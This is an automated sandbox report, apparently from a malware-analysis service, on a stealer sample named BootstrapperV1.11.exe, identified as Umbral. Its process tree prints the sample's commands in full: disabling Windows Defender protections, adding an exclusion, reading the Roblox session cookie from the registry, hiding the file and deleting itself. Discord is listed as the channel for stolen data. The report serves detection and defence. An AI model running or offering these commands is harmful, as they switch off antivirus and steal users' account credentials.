umbral | 2133a2c5f4a04d8ffe1ea436d035917ad16c50fa011b021c95c71f2660e67033

Analysis

max time kernel
120s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-08-2024 11:12

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General

Target

BootstrapperV1.11.exe
Size

229KB
MD5

224b37147484176752b12af33b9efd96
SHA1

d2fbb87ff49e0e80e8585b449fac349688d02f23
SHA256

2133a2c5f4a04d8ffe1ea436d035917ad16c50fa011b021c95c71f2660e67033
SHA512

e374e69dad1b3ad39887163e6c8cd07a88e36b167b91b0eeb8a5296f7345ea4c97e6e8e009193b321524f5326118900933e4657b0177b702036525d42c508704
SSDEEP

6144:9loZM+rIkd8g+EtXHkv/iD4lePZsyVtG/TOMdRYz7b8e1m4i:foZtL+EP8lePZsyVtG/TOMdRYDu

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4592-0-0x000001FAAA9E0000-0x000001FAAAA20000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4068	powershell.exe
4512	powershell.exe
1252	powershell.exe
1940	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	BootstrapperV1.11.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	discord.com
15	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3984	cmd.exe
2772	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4092	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2772	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4592	BootstrapperV1.11.exe
4068	powershell.exe
4068	powershell.exe
4512	powershell.exe
4512	powershell.exe
1252	powershell.exe
1252	powershell.exe
684	powershell.exe
684	powershell.exe
1940	powershell.exe
1940	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4592	BootstrapperV1.11.exe
Token: SeIncreaseQuotaPrivilege	3096	wmic.exe
Token: SeSecurityPrivilege	3096	wmic.exe
Token: SeTakeOwnershipPrivilege	3096	wmic.exe
Token: SeLoadDriverPrivilege	3096	wmic.exe
Token: SeSystemProfilePrivilege	3096	wmic.exe
Token: SeSystemtimePrivilege	3096	wmic.exe
Token: SeProfSingleProcessPrivilege	3096	wmic.exe
Token: SeIncBasePriorityPrivilege	3096	wmic.exe
Token: SeCreatePagefilePrivilege	3096	wmic.exe
Token: SeBackupPrivilege	3096	wmic.exe
Token: SeRestorePrivilege	3096	wmic.exe
Token: SeShutdownPrivilege	3096	wmic.exe
Token: SeDebugPrivilege	3096	wmic.exe
Token: SeSystemEnvironmentPrivilege	3096	wmic.exe
Token: SeRemoteShutdownPrivilege	3096	wmic.exe
Token: SeUndockPrivilege	3096	wmic.exe
Token: SeManageVolumePrivilege	3096	wmic.exe
Token: 33	3096	wmic.exe
Token: 34	3096	wmic.exe
Token: 35	3096	wmic.exe
Token: 36	3096	wmic.exe
Token: SeIncreaseQuotaPrivilege	3096	wmic.exe
Token: SeSecurityPrivilege	3096	wmic.exe
Token: SeTakeOwnershipPrivilege	3096	wmic.exe
Token: SeLoadDriverPrivilege	3096	wmic.exe
Token: SeSystemProfilePrivilege	3096	wmic.exe
Token: SeSystemtimePrivilege	3096	wmic.exe
Token: SeProfSingleProcessPrivilege	3096	wmic.exe
Token: SeIncBasePriorityPrivilege	3096	wmic.exe
Token: SeCreatePagefilePrivilege	3096	wmic.exe
Token: SeBackupPrivilege	3096	wmic.exe
Token: SeRestorePrivilege	3096	wmic.exe
Token: SeShutdownPrivilege	3096	wmic.exe
Token: SeDebugPrivilege	3096	wmic.exe
Token: SeSystemEnvironmentPrivilege	3096	wmic.exe
Token: SeRemoteShutdownPrivilege	3096	wmic.exe
Token: SeUndockPrivilege	3096	wmic.exe
Token: SeManageVolumePrivilege	3096	wmic.exe
Token: 33	3096	wmic.exe
Token: 34	3096	wmic.exe
Token: 35	3096	wmic.exe
Token: 36	3096	wmic.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeDebugPrivilege	684	powershell.exe
Token: SeIncreaseQuotaPrivilege	4992	wmic.exe
Token: SeSecurityPrivilege	4992	wmic.exe
Token: SeTakeOwnershipPrivilege	4992	wmic.exe
Token: SeLoadDriverPrivilege	4992	wmic.exe
Token: SeSystemProfilePrivilege	4992	wmic.exe
Token: SeSystemtimePrivilege	4992	wmic.exe
Token: SeProfSingleProcessPrivilege	4992	wmic.exe
Token: SeIncBasePriorityPrivilege	4992	wmic.exe
Token: SeCreatePagefilePrivilege	4992	wmic.exe
Token: SeBackupPrivilege	4992	wmic.exe
Token: SeRestorePrivilege	4992	wmic.exe
Token: SeShutdownPrivilege	4992	wmic.exe
Token: SeDebugPrivilege	4992	wmic.exe
Token: SeSystemEnvironmentPrivilege	4992	wmic.exe
Token: SeRemoteShutdownPrivilege	4992	wmic.exe
Token: SeUndockPrivilege	4992	wmic.exe
Token: SeManageVolumePrivilege	4992	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 3096	4592	BootstrapperV1.11.exe	86
PID 4592 wrote to memory of 3096	4592	BootstrapperV1.11.exe	86
PID 4592 wrote to memory of 400	4592	BootstrapperV1.11.exe	89
PID 4592 wrote to memory of 400	4592	BootstrapperV1.11.exe	89
PID 4592 wrote to memory of 4068	4592	BootstrapperV1.11.exe	91
PID 4592 wrote to memory of 4068	4592	BootstrapperV1.11.exe	91
PID 4592 wrote to memory of 4512	4592	BootstrapperV1.11.exe	93
PID 4592 wrote to memory of 4512	4592	BootstrapperV1.11.exe	93
PID 4592 wrote to memory of 1252	4592	BootstrapperV1.11.exe	95
PID 4592 wrote to memory of 1252	4592	BootstrapperV1.11.exe	95
PID 4592 wrote to memory of 684	4592	BootstrapperV1.11.exe	97
PID 4592 wrote to memory of 684	4592	BootstrapperV1.11.exe	97
PID 4592 wrote to memory of 4992	4592	BootstrapperV1.11.exe	99
PID 4592 wrote to memory of 4992	4592	BootstrapperV1.11.exe	99
PID 4592 wrote to memory of 2868	4592	BootstrapperV1.11.exe	101
PID 4592 wrote to memory of 2868	4592	BootstrapperV1.11.exe	101
PID 4592 wrote to memory of 3900	4592	BootstrapperV1.11.exe	103
PID 4592 wrote to memory of 3900	4592	BootstrapperV1.11.exe	103
PID 4592 wrote to memory of 1940	4592	BootstrapperV1.11.exe	105
PID 4592 wrote to memory of 1940	4592	BootstrapperV1.11.exe	105
PID 4592 wrote to memory of 4092	4592	BootstrapperV1.11.exe	107
PID 4592 wrote to memory of 4092	4592	BootstrapperV1.11.exe	107
PID 4592 wrote to memory of 3984	4592	BootstrapperV1.11.exe	109
PID 4592 wrote to memory of 3984	4592	BootstrapperV1.11.exe	109
PID 3984 wrote to memory of 2772	3984	cmd.exe	111
PID 3984 wrote to memory of 2772	3984	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
400	attrib.exe

C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe
"C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3096
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe"
  2⤵
  - Views/modifies file attributes
  PID:400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:684
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1940
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4092
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
17d8127be94d3c1b6fcc9a4ed585003e

SHA1
789874fcc7c778c723f3e89822d8cc8750c6c4c8

SHA256
ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

SHA512
bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eeb6ad386d143f278077171fc01a81e8

SHA1
43cff1bd7240965bfb2f10e47c0cec0f94332e2d

SHA256
59d62f9472b4c00b7cae0ee702789fa2b0042c468e4de9421d2430f9973eb00d

SHA512
b40f003e6d97adaaf05809f06d12df01984943d9eb6c44eaeffef90df8de0040373150c9714b11a42db5189b7064eeed0609a39f6f1feb91b05dd1835333e8f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2i25eeib.bsz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4068-17-0x00007FFE56DB0000-0x00007FFE57871000-memory.dmp

Filesize
10.8MB

Download
memory/4068-14-0x00007FFE56DB0000-0x00007FFE57871000-memory.dmp

Filesize
10.8MB

Download
memory/4068-15-0x00007FFE56DB0000-0x00007FFE57871000-memory.dmp

Filesize
10.8MB

Download
memory/4068-8-0x000001C6EF3C0000-0x000001C6EF3E2000-memory.dmp

Filesize
136KB

Download
memory/4068-9-0x00007FFE56DB0000-0x00007FFE57871000-memory.dmp

Filesize
10.8MB

Download
memory/4592-33-0x000001FAC4E40000-0x000001FAC4E5E000-memory.dmp

Filesize
120KB

Download
memory/4592-32-0x000001FAC51B0000-0x000001FAC5200000-memory.dmp

Filesize
320KB

Download
memory/4592-31-0x000001FAC5130000-0x000001FAC51A6000-memory.dmp

Filesize
472KB

Download
memory/4592-0-0x000001FAAA9E0000-0x000001FAAAA20000-memory.dmp

Filesize
256KB

Download
memory/4592-2-0x00007FFE56DB0000-0x00007FFE57871000-memory.dmp

Filesize
10.8MB

Download
memory/4592-70-0x000001FAC5100000-0x000001FAC5112000-memory.dmp

Filesize
72KB

Download
memory/4592-69-0x000001FAC50D0000-0x000001FAC50DA000-memory.dmp

Filesize
40KB

Download
memory/4592-1-0x00007FFE56DB3000-0x00007FFE56DB5000-memory.dmp

Filesize
8KB

Download
memory/4592-88-0x00007FFE56DB0000-0x00007FFE57871000-memory.dmp

Filesize
10.8MB

Download